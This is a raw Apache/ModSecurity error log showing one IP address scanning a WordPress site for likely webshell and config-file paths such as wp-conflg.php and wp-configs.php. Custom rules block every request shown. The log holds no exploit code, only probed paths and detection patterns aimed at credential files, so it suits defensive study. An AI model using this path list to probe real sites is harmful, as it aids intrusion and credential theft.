[Mon Nov 24 01:16:00.773409 2025] [:error] [pid 1452:tid 1471] [client 52.236.123.156:15085] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zews.php"] [unique_id "aSNBUBKZkEEyVNVXr_nDtAAAAE4"]
[Mon Nov 24 01:16:01.898254 2025] [:error] [pid 8337:tid 8354] [client 52.236.123.156:60613] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zews.php"] [unique_id "aSNBUeSmps4S2j95D5h2YQAAAA8"]
[Mon Nov 24 01:16:07.459734 2025] [:error] [pid 1454:tid 1517] [client 52.236.123.156:60614] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zews.php"] [unique_id "aSNBV7eh4NH3skJ5n4RykQAAAMU"]
[Mon Nov 24 01:16:08.554842 2025] [:error] [pid 1454:tid 1533] [client 52.236.123.156:54577] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aSNBWLeh4NH3skJ5n4RykwAAANU"]
[Mon Nov 24 01:16:09.531685 2025] [:error] [pid 1589:tid 1604] [client 52.236.123.156:14739] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aSNBWYI2fvripjU0Eat5YAAAAU0"]
[Mon Nov 24 01:16:13.443051 2025] [:error] [pid 1589:tid 1615] [client 52.236.123.156:14744] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aSNBXYI2fvripjU0Eat5ZAAAAVg"]
[Mon Nov 24 01:16:15.241142 2025] [:error] [pid 1453:tid 1487] [client 52.236.123.156:14440] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aSNBXxUBCt7LU0bO_GBL1AAAAIM"]
[Mon Nov 24 01:16:17.339946 2025] [:error] [pid 8337:tid 8349] [client 52.236.123.156:14960] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/usage-file.php"] [unique_id "aSNBYeSmps4S2j95D5h2iAAAAAo"]
[Mon Nov 24 01:16:19.038483 2025] [:error] [pid 1452:tid 1472] [client 52.236.123.156:53386] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/usage-file.php"] [unique_id "aSNBYxKZkEEyVNVXr_nDyQAAAE8"]
[Mon Nov 24 01:16:23.321412 2025] [:error] [pid 1454:tid 1517] [client 52.236.123.156:53942] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/usage-file.php"] [unique_id "aSNBZ7eh4NH3skJ5n4RynwAAAMU"]
[Mon Nov 24 01:16:26.812475 2025] [:error] [pid 1453:tid 1492] [client 52.236.123.156:14916] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/usage-file.php"] [unique_id "aSNBahUBCt7LU0bO_GBL4wAAAIg"]
[Mon Nov 24 01:16:29.931159 2025] [:error] [pid 8337:tid 8360] [client 52.236.123.156:15305] [client 52.236.123.156] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/assets/js/wp-config.php"] [unique_id "aSNBbeSmps4S2j95D5h2nwAAABU"]
[Mon Nov 24 01:16:33.069073 2025] [:error] [pid 1453:tid 1509] [client 52.236.123.156:50688] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Js.php"] [unique_id "aSNBcRUBCt7LU0bO_GBL5gAAAJg"]
[Mon Nov 24 01:16:36.313351 2025] [:error] [pid 8337:tid 8356] [client 52.236.123.156:50748] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Js.php"] [unique_id "aSNBdOSmps4S2j95D5h2qQAAABE"]
[Mon Nov 24 01:16:38.231219 2025] [:error] [pid 1452:tid 1457] [client 52.236.123.156:53409] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Js.php"] [unique_id "aSNBdhKZkEEyVNVXr_nD1wAAAEA"]
[Mon Nov 24 01:16:42.653532 2025] [proxy_fcgi:error] [pid 1454:tid 1534] [client 52.236.123.156:53421] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:16:42.924625 2025] [proxy_fcgi:error] [pid 1454:tid 1515] [client 52.236.123.156:53421] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:16:43.178620 2025] [proxy_fcgi:error] [pid 1454:tid 1529] [client 52.236.123.156:53421] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:16:43.445664 2025] [proxy_fcgi:error] [pid 1454:tid 1526] [client 52.236.123.156:53421] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:16:43.717838 2025] [proxy_fcgi:error] [pid 1454:tid 1531] [client 52.236.123.156:53421] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:16:43.970990 2025] [proxy_fcgi:error] [pid 1454:tid 1512] [client 52.236.123.156:53421] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:23:01.007231 2025] [proxy_fcgi:error] [pid 1453:tid 1501] [client 52.236.123.156:32626] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:23:01.263249 2025] [proxy_fcgi:error] [pid 1453:tid 1484] [client 52.236.123.156:32626] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:23:01.519416 2025] [proxy_fcgi:error] [pid 1453:tid 1505] [client 52.236.123.156:32626] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:23:02.033369 2025] [proxy_fcgi:error] [pid 1453:tid 1491] [client 52.236.123.156:32626] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:23:02.290834 2025] [proxy_fcgi:error] [pid 1453:tid 1492] [client 52.236.123.156:32626] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:23:02.554691 2025] [proxy_fcgi:error] [pid 1453:tid 1508] [client 52.236.123.156:32626] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:23:02.813379 2025] [:error] [pid 1453:tid 1488] [client 52.236.123.156:32626] [client 52.236.123.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/html-api/wp-conflg.php"] [unique_id "aSNRBhUBCt7LU0bO_GBezwAAAIQ"]
[Mon Nov 24 02:23:04.181669 2025] [proxy_fcgi:error] [pid 1454:tid 1525] [client 52.236.123.156:32411] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:23:04.687760 2025] [:error] [pid 1454:tid 1519] [client 52.236.123.156:32411] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/g.php"] [unique_id "aSNRCLeh4NH3skJ5n4SFPAAAAMc"]
[Mon Nov 24 02:23:06.058394 2025] [:error] [pid 1454:tid 1521] [client 52.236.123.156:32588] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/g.php"] [unique_id "aSNRCreh4NH3skJ5n4SFQAAAAMk"]
[Mon Nov 24 02:23:09.386497 2025] [:error] [pid 8337:tid 8355] [client 52.236.123.156:64965] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/g.php"] [unique_id "aSNRDeSmps4S2j95D5iUWQAAABA"]
[Mon Nov 24 02:23:11.654307 2025] [:error] [pid 1589:tid 1608] [client 52.236.123.156:32621] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/g.php"] [unique_id "aSNRD4I2fvripjU0EauPCgAAAVE"]
[Mon Nov 24 02:23:14.236585 2025] [:error] [pid 1454:tid 1531] [client 52.236.123.156:64981] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/13.php"] [unique_id "aSNREreh4NH3skJ5n4SFRwAAANM"]
[Mon Nov 24 02:23:16.643076 2025] [:error] [pid 8337:tid 8348] [client 52.236.123.156:32190] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/13.php"] [unique_id "aSNRFOSmps4S2j95D5iUYwAAAAk"]
[Mon Nov 24 02:23:17.949701 2025] [:error] [pid 1454:tid 1524] [client 52.236.123.156:31745] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/13.php"] [unique_id "aSNRFbeh4NH3skJ5n4SFSgAAAMw"]
[Mon Nov 24 02:23:20.743180 2025] [:error] [pid 1454:tid 1528] [client 52.236.123.156:31794] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/13.php"] [unique_id "aSNRGLeh4NH3skJ5n4SFTAAAANA"]
[Mon Nov 24 02:23:23.163173 2025] [:error] [pid 8337:tid 8361] [client 52.236.123.156:60148] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aSNRG-Smps4S2j95D5iUbAAAABY"]
[Mon Nov 24 02:23:24.144970 2025] [:error] [pid 1453:tid 1507] [client 52.236.123.156:60144] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aSNRHBUBCt7LU0bO_GBe6gAAAJY"]
[Mon Nov 24 02:23:25.696661 2025] [:error] [pid 8337:tid 8350] [client 52.236.123.156:32713] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aSNRHeSmps4S2j95D5iUegAAAAs"]
[Mon Nov 24 02:23:27.542390 2025] [:error] [pid 1453:tid 1486] [client 52.236.123.156:31798] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aSNRHxUBCt7LU0bO_GBe_gAAAII"]
[Mon Nov 24 02:23:29.162382 2025] [:error] [pid 1589:tid 1614] [client 52.236.123.156:32736] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminer.php"] [unique_id "aSNRIYI2fvripjU0EauPGgAAAVc"]
[Mon Nov 24 02:23:37.368943 2025] [:error] [pid 8337:tid 8357] [client 52.236.123.156:32243] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminer.php"] [unique_id "aSNRKeSmps4S2j95D5iU5wAAABI"]
[Mon Nov 24 02:23:59.688787 2025] [:error] [pid 1452:tid 1481] [client 52.236.123.156:32203] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-ksv1i.php"] [unique_id "aSNRPxKZkEEyVNVXr_nURQAAAFg"]
[Mon Nov 24 02:24:03.483126 2025] [:error] [pid 8337:tid 8343] [client 52.236.123.156:60102] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-ksv1i.php"] [unique_id "aSNRQ-Smps4S2j95D5iVAQAAAAQ"]
[Mon Nov 24 02:24:04.700515 2025] [:error] [pid 1453:tid 1496] [client 52.236.123.156:60146] [client 52.236.123.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/crop/zmFM.php"] [unique_id "aSNRRBUBCt7LU0bO_GBfkQAAAIs"]
[Mon Nov 24 02:24:09.673135 2025] [proxy_fcgi:error] [pid 1454:tid 1529] [client 52.236.123.156:53200] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:24:09.925947 2025] [:error] [pid 1454:tid 1531] [client 52.236.123.156:53200] [client 52.236.123.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/0.php"] [unique_id "aSNRSbeh4NH3skJ5n4SFgQAAANM"]
[Mon Nov 24 02:24:11.514939 2025] [:error] [pid 8337:tid 8339] [client 52.236.123.156:60133] [client 52.236.123.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aSNRS-Smps4S2j95D5iVDQAAAAA"]
[Mon Nov 24 02:24:17.631700 2025] [proxy_fcgi:error] [pid 1589:tid 1610] [client 52.236.123.156:46355] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:24:17.886880 2025] [proxy_fcgi:error] [pid 1589:tid 1605] [client 52.236.123.156:46355] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:24:18.141041 2025] [proxy_fcgi:error] [pid 1589:tid 1599] [client 52.236.123.156:46355] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:24:18.915026 2025] [proxy_fcgi:error] [pid 1589:tid 1612] [client 52.236.123.156:46355] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:24:19.186195 2025] [proxy_fcgi:error] [pid 1589:tid 1597] [client 52.236.123.156:46355] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:24:19.460446 2025] [proxy_fcgi:error] [pid 1589:tid 1611] [client 52.236.123.156:46355] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 02:24:19.886662 2025] [:error] [pid 1589:tid 1615] [client 52.236.123.156:46355] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/17.php"] [unique_id "aSNRU4I2fvripjU0EauPdgAAAVg"]
[Mon Nov 24 02:24:21.462503 2025] [:error] [pid 1452:tid 1457] [client 52.236.123.156:53228] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/17.php"] [unique_id "aSNRVRKZkEEyVNVXr_nUXwAAAEA"]
[Mon Nov 24 02:24:33.239643 2025] [:error] [pid 1454:tid 1515] [client 52.236.123.156:64279] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/17.php"] [unique_id "aSNRYbeh4NH3skJ5n4SFjQAAAMM"]
[Mon Nov 24 02:24:37.447142 2025] [:error] [pid 1454:tid 1514] [client 52.236.123.156:46351] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0.php"] [unique_id "aSNRZbeh4NH3skJ5n4SFkgAAAMI"]
[Mon Nov 24 02:24:39.859761 2025] [:error] [pid 1454:tid 1522] [client 52.236.123.156:64314] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0.php"] [unique_id "aSNRZ7eh4NH3skJ5n4SFlQAAAMo"]
[Mon Nov 24 02:24:41.302316 2025] [:error] [pid 1454:tid 1526] [client 52.236.123.156:32375] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0.php"] [unique_id "aSNRabeh4NH3skJ5n4SFnAAAAM4"]
[Mon Nov 24 02:24:43.721916 2025] [:error] [pid 1454:tid 1530] [client 52.236.123.156:32051] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0.php"] [unique_id "aSNRa7eh4NH3skJ5n4SFoAAAANI"]
[Mon Nov 24 02:24:45.419739 2025] [:error] [pid 8337:tid 8348] [client 52.236.123.156:32379] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/Mailer.php"] [unique_id "aSNRbeSmps4S2j95D5iVSgAAAAk"]
[Mon Nov 24 02:24:47.188404 2025] [:error] [pid 8337:tid 8363] [client 52.236.123.156:32372] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/Mailer.php"] [unique_id "aSNRb-Smps4S2j95D5iVTQAAABg"]
[Mon Nov 24 02:24:55.764207 2025] [:error] [pid 8337:tid 8344] [client 52.236.123.156:32328] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/Mailer.php"] [unique_id "aSNRd-Smps4S2j95D5iVVAAAAAU"]
[Mon Nov 24 02:24:58.504761 2025] [:error] [pid 8337:tid 8361] [client 52.236.123.156:47646] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/Mailer.php"] [unique_id "aSNReuSmps4S2j95D5iVXAAAABY"]
[Mon Nov 24 02:25:00.679604 2025] [:error] [pid 1453:tid 1493] [client 52.236.123.156:47623] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-configs.php"] [unique_id "aSNRfBUBCt7LU0bO_GBfwwAAAIk"]
[Mon Nov 24 02:25:02.437478 2025] [:error] [pid 1453:tid 1505] [client 52.236.123.156:47636] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-configs.php"] [unique_id "aSNRfhUBCt7LU0bO_GBfygAAAJQ"]
[Mon Nov 24 02:25:04.083193 2025] [:error] [pid 8337:tid 8362] [client 52.236.123.156:51723] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-configs.php"] [unique_id "aSNRgOSmps4S2j95D5iVbwAAABc"]
[Mon Nov 24 02:25:09.209770 2025] [:error] [pid 1453:tid 1490] [client 52.236.123.156:47660] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-configs.php"] [unique_id "aSNRhRUBCt7LU0bO_GBf5QAAAIY"]
